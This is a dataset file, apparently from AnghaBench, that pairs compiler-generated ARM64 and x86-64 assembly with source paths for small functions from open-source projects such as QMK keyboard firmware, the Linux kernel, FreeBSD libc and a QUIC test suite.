.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _matrix_scan ; -- Begin function matrix_scan .p2align 2 _matrix_scan: ; @matrix_scan .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _mdebouncing@GOTPAGE ldr x8, [x8, _mdebouncing@GOTPAGEOFF] stur x8, [x29, #-40] ; 8-byte Folded Spill adrp x8, _mlatest@GOTPAGE ldr x8, [x8, _mlatest@GOTPAGEOFF] str x8, [sp, #48] ; 8-byte Folded Spill adrp x8, _MATRIX_ROWS@GOTPAGE ldr x8, [x8, _MATRIX_ROWS@GOTPAGEOFF] str x8, [sp, #56] ; 8-byte Folded Spill adrp x8, _PORT@GOTPAGE ldr x8, [x8, _PORT@GOTPAGEOFF] str x8, [sp, #64] ; 8-byte Folded Spill adrp x8, _PA@GOTPAGE ldr x8, [x8, _PA@GOTPAGEOFF] stur x8, [x29, #-56] ; 8-byte Folded Spill adrp x8, _PB@GOTPAGE ldr x8, [x8, _PB@GOTPAGEOFF] stur x8, [x29, #-48] ; 8-byte Folded Spill adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] bl _timer_read64 ldur x8, [x29, #-40] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x0, x8 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: mov w8, #1 stur w8, [x29, #-20] b LBB0_26 LBB0_2: ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #48] ; 8-byte Folded Reload ldr x0, [x9] ldrsw x8, [x8] lsl x8, x8, #2 mov x2, x8 mov w1, #0 bl _memset stur wzr, [x29, #-32] b LBB0_3 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 ldur w8, [x29, #-32] adrp x9, _MATRIX_COLS@GOTPAGE ldr x9, [x9, _MATRIX_COLS@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_12 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 ldr x9, [sp, #64] ; 8-byte Folded Reload adrp x8, _col_pins@GOTPAGE ldr x8, [x8, _col_pins@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill ldr x8, [x8] ldursw x10, [x29, #-32] ldr w8, [x8, x10, lsl #2] mov w0, #1 str w0, [sp, #28] ; 4-byte Folded Spill lsl w8, w0, w8 ldr x9, [x9] ldr x9, [x9] adrp x10, _col_ports@GOTPAGE ldr x10, [x10, _col_ports@GOTPAGEOFF] str x10, [sp, #32] ; 8-byte Folded Spill ldr x10, [x10] ldursw x11, [x29, #-32] ldr x10, [x10, x11, lsl #3] mov x11, #12 str x11, [sp, #40] ; 8-byte Folded Spill mul x10, x10, x11 add x9, x9, x10 str w8, [x9, #8] bl _wait_us ldur x14, [x29, #-56] ; 8-byte Folded Reload ldur x15, [x29, #-48] ; 8-byte Folded Reload ldr x12, [sp, #16] ; 8-byte Folded Reload ldr w8, [sp, #28] ; 4-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x10, [sp, #32] ; 8-byte Folded Reload ldr x11, [sp, #40] ; 8-byte Folded Reload ldr x13, [x9] ldr x13, [x13] ldr x16, [x14] mul x16, x16, x11 add x13, x13, x16 ldr w13, [x13, #4] adrp x16, _row_masks@GOTPAGE ldr x16, [x16, _row_masks@GOTPAGEOFF] ldr x17, [x16] ldr x0, [x14] ldr w17, [x17, x0, lsl #2] and w13, w13, w17 ldr x17, [x14] sub x14, x29, #16 str w13, [x14, x17, lsl #2] ldr x13, [x9] ldr x13, [x13] ldr x17, [x15] mul x17, x17, x11 add x13, x13, x17 ldr w13, [x13, #4] ldr x16, [x16] ldr x17, [x15] ldr w16, [x16, x17, lsl #2] and w13, w13, w16 ldr x15, [x15] str w13, [x14, x15, lsl #2] ldr x12, [x12] ldursw x13, [x29, #-32] ldr w12, [x12, x13, lsl #2] lsl w8, w8, w12 ldr x9, [x9] ldr x9, [x9] ldr x10, [x10] ldursw x12, [x29, #-32] ldr x10, [x10, x12, lsl #3] mul x10, x10, x11 str w8, [x9, x10] stur wzr, [x29, #-28] b LBB0_5 LBB0_5: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x9, [sp, #56] ; 8-byte Folded Reload ldur w8, [x29, #-28] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_10 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=2 adrp x8, _row_ports@GOTPAGE ldr x8, [x8, _row_ports@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-28] ldr x9, [x8, x9, lsl #3] sub x8, x29, #16 ldr w8, [x8, x9, lsl #2] adrp x9, _row_pins@GOTPAGE ldr x9, [x9, _row_pins@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-28] ldr w10, [x9, x10, lsl #2] mov w9, #1 lsl w9, w9, w10 ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=2 ldr x8, [sp, #48] ; 8-byte Folded Reload ldur w10, [x29, #-32] mov w9, #1 lsl w10, w9, w10 ldr x8, [x8] ldursw x9, [x29, #-28] add x9, x8, x9, lsl #2 ldr w8, [x9] orr w8, w8, w10 str w8, [x9] b LBB0_8 LBB0_8: ; in Loop: Header=BB0_5 Depth=2 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_5 Depth=2 ldur w8, [x29, #-28] add w8, w8, #1 stur w8, [x29, #-28] b LBB0_5 LBB0_10: ; in Loop: Header=BB0_3 Depth=1 b LBB0_11 LBB0_11: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-32] add w8, w8, #1 stur w8, [x29, #-32] b LBB0_3 LBB0_12: stur wzr, [x29, #-24] stur wzr, [x29, #-28] b LBB0_13 LBB0_13: ; =>This Inner Loop Header: Depth=1 ldr x9, [sp, #56] ; 8-byte Folded Reload ldur w8, [x29, #-28] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_18 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_13 Depth=1 ldr x9, [sp, #48] ; 8-byte Folded Reload adrp x8, _mlast@GOTPAGE ldr x8, [x8, _mlast@GOTPAGEOFF] ldr x8, [x8] ldursw x10, [x29, #-28] ldr w8, [x8, x10, lsl #2] ldr x9, [x9] ldursw x10, [x29, #-28] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_16 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_13 Depth=1 mov w8, #1 stur w8, [x29, #-24] b LBB0_16 LBB0_16: ; in Loop: Header=BB0_13 Depth=1 ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-28] ldr w8, [x8, x9, lsl #2] adrp x9, _mlast@GOTPAGE ldr x9, [x9, _mlast@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-28] str w8, [x9, x10, lsl #2] b LBB0_17 LBB0_17: ; in Loop: Header=BB0_13 Depth=1 ldur w8, [x29, #-28] add w8, w8, #1 stur w8, [x29, #-28] b LBB0_13 LBB0_18: ldur w8, [x29, #-24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_24 b LBB0_19 LBB0_19: stur wzr, [x29, #-28] b LBB0_20 LBB0_20: ; =>This Inner Loop Header: Depth=1 ldr x9, [sp, #56] ; 8-byte Folded Reload ldur w8, [x29, #-28] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_23 b LBB0_21 LBB0_21: ; in Loop: Header=BB0_20 Depth=1 ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-28] ldr w8, [x8, x9, lsl #2] adrp x9, _mdebounced@GOTPAGE ldr x9, [x9, _mdebounced@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-28] str w8, [x9, x10, lsl #2] b LBB0_22 LBB0_22: ; in Loop: Header=BB0_20 Depth=1 ldur w8, [x29, #-28] add w8, w8, #1 stur w8, [x29, #-28] b LBB0_20 LBB0_23: ldur x8, [x29, #-40] ; 8-byte Folded Reload str xzr, [x8] b LBB0_25 LBB0_24: bl _timer_read64 ldur x9, [x29, #-40] ; 8-byte Folded Reload adrp x8, _DEBOUNCE@GOTPAGE ldr x8, [x8, _DEBOUNCE@GOTPAGEOFF] ldr x8, [x8] add x8, x0, x8 str x8, [x9] b LBB0_25 LBB0_25: bl _matrix_scan_quantum mov w8, #1 stur w8, [x29, #-20] b LBB0_26 LBB0_26: ldur w8, [x29, #-20] str w8, [sp, #12] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_28 b LBB0_27 LBB0_27: bl ___stack_chk_fail LBB0_28: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .comm _mdebouncing,8,3 ; @mdebouncing .comm _mlatest,8,3 ; @mlatest .comm _MATRIX_ROWS,4,2 ; @MATRIX_ROWS .comm _MATRIX_COLS,4,2 ; @MATRIX_COLS .comm _col_pins,8,3 ; @col_pins .comm _PORT,8,3 ; @PORT .comm _col_ports,8,3 ; @col_ports .comm _PA,8,3 ; @PA .comm _row_masks,8,3 ; @row_masks .comm _PB,8,3 ; @PB .comm _row_ports,8,3 ; @row_ports .comm _row_pins,8,3 ; @row_pins .comm _mlast,8,3 ; @mlast .comm _mdebounced,8,3 ; @mdebounced .comm _DEBOUNCE,8,3 ; @DEBOUNCE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _matrix_scan ## -- Begin function matrix_scan .p2align 4, 0x90 _matrix_scan: ## @matrix_scan .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movb $0, %al callq _timer_read64 movq _mdebouncing@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jge LBB0_2 ## %bb.1: movl $1, -20(%rbp) jmp LBB0_26 LBB0_2: movq _mlatest@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _MATRIX_ROWS@GOTPCREL(%rip), %rax movslq (%rax), %rax shlq $2, %rax movl %eax, %edx xorl %esi, %esi callq _memset movl $0, -32(%rbp) LBB0_3: ## =>This Loop Header: Depth=1 ## Child Loop BB0_5 Depth 2 movl -32(%rbp), %eax movq _MATRIX_COLS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_12 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movq _col_pins@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movl (%rax,%rcx,4), %ecx movl $1, %eax ## kill: def $cl killed $ecx shll %cl, %eax movl %eax, %ecx movq _PORT@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movq _col_ports@GOTPCREL(%rip), %rdx movq (%rdx), %rdx movslq -32(%rbp), %rsi imulq $12, (%rdx,%rsi,8), %rdx addq %rdx, %rax movl %ecx, 8(%rax) movl $1, %edi callq _wait_us movq _PORT@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movq _PA@GOTPCREL(%rip), %rcx imulq $12, (%rcx), %rcx addq %rcx, %rax movl 4(%rax), %ecx movq _row_masks@GOTPCREL(%rip), %rax movq (%rax), %rax movq _PA@GOTPCREL(%rip), %rdx movq (%rdx), %rdx andl (%rax,%rdx,4), %ecx movq _PA@GOTPCREL(%rip), %rax movq (%rax), %rax movl %ecx, -16(%rbp,%rax,4) movq _PORT@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movq _PB@GOTPCREL(%rip), %rcx imulq $12, (%rcx), %rcx addq %rcx, %rax movl 4(%rax), %ecx movq _row_masks@GOTPCREL(%rip), %rax movq (%rax), %rax movq _PB@GOTPCREL(%rip), %rdx movq (%rdx), %rdx andl (%rax,%rdx,4), %ecx movq _PB@GOTPCREL(%rip), %rax movq (%rax), %rax movl %ecx, -16(%rbp,%rax,4) movq _col_pins@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movl (%rax,%rcx,4), %ecx movl $1, %eax ## kill: def $cl killed $ecx shll %cl, %eax movl %eax, %ecx movq _PORT@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movq _col_ports@GOTPCREL(%rip), %rdx movq (%rdx), %rdx movslq -32(%rbp), %rsi imulq $12, (%rdx,%rsi,8), %rdx addq %rdx, %rax movl %ecx, (%rax) movl $0, -28(%rbp) LBB0_5: ## Parent Loop BB0_3 Depth=1 ## => This Inner Loop Header: Depth=2 movl -28(%rbp), %eax movq _MATRIX_ROWS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_10 ## %bb.6: ## in Loop: Header=BB0_5 Depth=2 movq _row_ports@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movl -16(%rbp,%rax,4), %eax movq _row_pins@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -28(%rbp), %rdx movl (%rcx,%rdx,4), %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx andl %ecx, %eax cmpl $0, %eax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=2 movl -32(%rbp), %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movq _mlatest@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx orl (%rax,%rcx,4), %edx movl %edx, (%rax,%rcx,4) LBB0_8: ## in Loop: Header=BB0_5 Depth=2 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_5 Depth=2 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB0_5 LBB0_10: ## in Loop: Header=BB0_3 Depth=1 jmp LBB0_11 LBB0_11: ## in Loop: Header=BB0_3 Depth=1 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB0_3 LBB0_12: movl $0, -24(%rbp) movl $0, -28(%rbp) LBB0_13: ## =>This Inner Loop Header: Depth=1 movl -28(%rbp), %eax movq _MATRIX_ROWS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_18 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 movq _mlast@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movl (%rax,%rcx,4), %eax movq _mlatest@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -28(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax je LBB0_16 ## %bb.15: ## in Loop: Header=BB0_13 Depth=1 movl $1, -24(%rbp) LBB0_16: ## in Loop: Header=BB0_13 Depth=1 movq _mlatest@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movl (%rax,%rcx,4), %edx movq _mlast@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.17: ## in Loop: Header=BB0_13 Depth=1 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB0_13 LBB0_18: cmpl $0, -24(%rbp) jne LBB0_24 ## %bb.19: movl $0, -28(%rbp) LBB0_20: ## =>This Inner Loop Header: Depth=1 movl -28(%rbp), %eax movq _MATRIX_ROWS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_23 ## %bb.21: ## in Loop: Header=BB0_20 Depth=1 movq _mlatest@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movl (%rax,%rcx,4), %edx movq _mdebounced@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.22: ## in Loop: Header=BB0_20 Depth=1 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB0_20 LBB0_23: movq _mdebouncing@GOTPCREL(%rip), %rax movq $0, (%rax) jmp LBB0_25 LBB0_24: movb $0, %al callq _timer_read64 movq %rax, %rcx movq _DEBOUNCE@GOTPCREL(%rip), %rax addq (%rax), %rcx movq _mdebouncing@GOTPCREL(%rip), %rax movq %rcx, (%rax) LBB0_25: movb $0, %al callq _matrix_scan_quantum movl $1, -20(%rbp) LBB0_26: movl -20(%rbp), %eax movl %eax, -36(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_28 ## %bb.27: movl -36(%rbp), %eax ## 4-byte Reload addq $48, %rsp popq %rbp retq LBB0_28: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .comm _mdebouncing,8,3 ## @mdebouncing .comm _mlatest,8,3 ## @mlatest .comm _MATRIX_ROWS,4,2 ## @MATRIX_ROWS .comm _MATRIX_COLS,4,2 ## @MATRIX_COLS .comm _col_pins,8,3 ## @col_pins .comm _PORT,8,3 ## @PORT .comm _col_ports,8,3 ## @col_ports .comm _PA,8,3 ## @PA .comm _row_masks,8,3 ## @row_masks .comm _PB,8,3 ## @PB .comm _row_ports,8,3 ## @row_ports .comm _row_pins,8,3 ## @row_pins .comm _mlast,8,3 ## @mlast .comm _mdebounced,8,3 ## @mdebounced .comm _DEBOUNCE,8,3 ## @DEBOUNCE .subsections_via_symbols
AnghaBench/qmk_firmware/keyboards/massdrop/alt/extr_matrix.c_matrix_scan.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dma_free_pagelist _dma_free_pagelist: ; @dma_free_pagelist .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] mov x9, x8 str x9, [sp] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp] ldr x8, [x8] str x8, [sp, #8] ldr x0, [sp] bl _page_address bl _free_pgtable_page b LBB0_1 LBB0_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _dma_free_pagelist .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dma_free_pagelist _dma_free_pagelist: ## @dma_free_pagelist .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rax movq %rax, -16(%rbp) cmpq $0, %rax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq -16(%rbp), %rdi callq _page_address movl %eax, %edi callq _free_pgtable_page jmp LBB0_1 LBB0_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _dma_free_pagelist .subsections_via_symbols
AnghaBench/linux/drivers/iommu/extr_intel-iommu.c_dma_free_pagelist.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mac_execve ; -- Begin function mac_execve .p2align 2 _mac_execve: ; @mac_execve .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] str x2, [sp, #8] str x3, [sp] ldur x0, [x29, #-8] ldr x1, [sp, #16] ldr x2, [sp, #8] ldr x3, [sp] bl ___mac_execve ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mac_execve ## -- Begin function mac_execve .p2align 4, 0x90 _mac_execve: ## @mac_execve .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq -8(%rbp), %rdi movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq -32(%rbp), %rcx callq ___mac_execve addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/freebsd/lib/libc/posix1e/extr_mac_exec.c_mac_execve.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function vmci_transport_send_negotiate _vmci_transport_send_negotiate: ; @vmci_transport_send_negotiate .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x0, [sp, #8] adrp x8, _VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE@GOTPAGE ldr x8, [x8, _VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE@GOTPAGEOFF] ldr w1, [x8] ldr x2, [sp] adrp x8, _VSOCK_PROTO_INVALID@GOTPAGE ldr x8, [x8, _VSOCK_PROTO_INVALID@GOTPAGEOFF] ldr w5, [x8] adrp x8, _VMCI_INVALID_HANDLE@GOTPAGE ldr x8, [x8, _VMCI_INVALID_HANDLE@GOTPAGEOFF] ldr w6, [x8] mov w3, #0 mov x4, #0 bl _vmci_transport_send_control_pkt ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE,4,2 ; @VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE .comm _VSOCK_PROTO_INVALID,4,2 ; @VSOCK_PROTO_INVALID .comm _VMCI_INVALID_HANDLE,4,2 ; @VMCI_INVALID_HANDLE .no_dead_strip _vmci_transport_send_negotiate .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function vmci_transport_send_negotiate _vmci_transport_send_negotiate: ## @vmci_transport_send_negotiate .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rdi movq _VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE@GOTPCREL(%rip), %rax movl (%rax), %esi movq -16(%rbp), %rdx movq _VSOCK_PROTO_INVALID@GOTPCREL(%rip), %rax movl (%rax), %r9d movq _VMCI_INVALID_HANDLE@GOTPCREL(%rip), %rax movl (%rax), %eax xorl %ecx, %ecx xorl %r8d, %r8d ## kill: def $r8 killed $r8d movl %eax, (%rsp) callq _vmci_transport_send_control_pkt addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE,4,2 ## @VMCI_TRANSPORT_PACKET_TYPE_NEGOTIATE .comm _VSOCK_PROTO_INVALID,4,2 ## @VSOCK_PROTO_INVALID .comm _VMCI_INVALID_HANDLE,4,2 ## @VMCI_INVALID_HANDLE .no_dead_strip _vmci_transport_send_negotiate .subsections_via_symbols
AnghaBench/linux/net/vmw_vsock/extr_vmci_transport.c_vmci_transport_send_negotiate.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function test_even _test_even: ; @test_even .cfi_startproc ; %bb.0: sub sp, sp, #240 .cfi_def_cfa_offset 240 stp x29, x30, [sp, #224] ; 16-byte Folded Spill add x29, sp, #224 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x9, _quic_ctx@GOTPAGE ldr x9, [x9, _quic_ctx@GOTPAGEOFF] stur x9, [x29, #-80] ; 8-byte Folded Spill adrp x8, _quic_now@GOTPAGE ldr x8, [x8, _quic_now@GOTPAGEOFF] str x8, [sp, #72] ; 8-byte Folded Spill adrp x8, _client@GOTPAGE ldr x8, [x8, _client@GOTPAGEOFF] stur x8, [x29, #-96] ; 8-byte Folded Spill adrp x8, _server@GOTPAGE ldr x8, [x8, _server@GOTPAGEOFF] str x8, [sp, #80] ; 8-byte Folded Spill adrp x8, _QUICLY_STATE_CONNECTED@GOTPAGE ldr x8, [x8, _QUICLY_STATE_CONNECTED@GOTPAGEOFF] stur x8, [x29, #-104] ; 8-byte Folded Spill adrp x8, _QUICLY_LOSS_SPEC_CONF@GOTPAGE ldr x8, [x8, _QUICLY_LOSS_SPEC_CONF@GOTPAGEOFF] stur x8, [x29, #-88] ; 8-byte Folded Spill ldr x8, [x8] stur x8, [x29, #-8] ldur x8, [x29, #-8] str x8, [x9] sub x0, x29, #16 str x0, [sp, #104] ; 8-byte Folded Spill bl _init_cond_even sub x0, x29, #24 str x0, [sp, #64] ; 8-byte Folded Spill bl _init_cond_even ldr x8, [sp, #72] ; 8-byte Folded Reload str xzr, [x8] bl _new_master_id str w0, [sp, #12] ; 4-byte Folded Spill mov x0, #0 str x0, [sp, #32] ; 8-byte Folded Spill mov w1, #0 stur w1, [x29, #-108] ; 4-byte Folded Spill bl _ptls_iovec_init ldr w5, [sp, #12] ; 4-byte Folded Reload ldr x7, [sp, #32] ; 8-byte Folded Reload ldur x1, [x29, #-80] ; 8-byte Folded Reload mov x6, x0 ldur x0, [x29, #-96] ; 8-byte Folded Reload mov x8, sp str xzr, [x8] adrp x2, l_.str@PAGE add x2, x2, l_.str@PAGEOFF adrp x3, _fake_address@GOTPAGE ldr x3, [x3, _fake_address@GOTPAGEOFF] str x3, [sp, #16] ; 8-byte Folded Spill mov x4, x7 bl _quicly_connect stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq mov w9, #1 str w9, [sp, #44] ; 4-byte Folded Spill and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload sub x2, x29, #64 mov x9, #1 stur x9, [x29, #-64] ldr w0, [x8] sub x1, x29, #56 str x1, [sp, #48] ; 8-byte Folded Spill bl _quicly_send stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-64] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldr x1, [sp, #48] ; 8-byte Folded Reload ldr w2, [sp, #44] ; 4-byte Folded Reload sub x0, x29, #68 str x0, [sp, #24] ; 8-byte Folded Spill bl _decode_packets ldur x8, [x29, #-64] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok bl _new_master_id ldr x3, [sp, #16] ; 8-byte Folded Reload ldr x4, [sp, #24] ; 8-byte Folded Reload ldr x7, [sp, #32] ; 8-byte Folded Reload ldur x1, [x29, #-80] ; 8-byte Folded Reload mov x6, x0 ldr x0, [sp, #80] ; 8-byte Folded Reload mov x2, x7 mov x5, x7 bl _quicly_accept stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr w1, [sp, #44] ; 4-byte Folded Reload ldr x0, [sp, #48] ; 8-byte Folded Reload bl _free_packets ldr x0, [sp, #64] ; 8-byte Folded Reload ldur x8, [x29, #-24] blr x8 ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x4, [sp, #104] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x9] ldr w1, [x8] sub x2, x29, #32 str x2, [sp, #88] ; 8-byte Folded Spill sub x3, x29, #40 str x3, [sp, #96] ; 8-byte Folded Spill bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #2 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_get_state ldur x8, [x29, #-104] ; 8-byte Folded 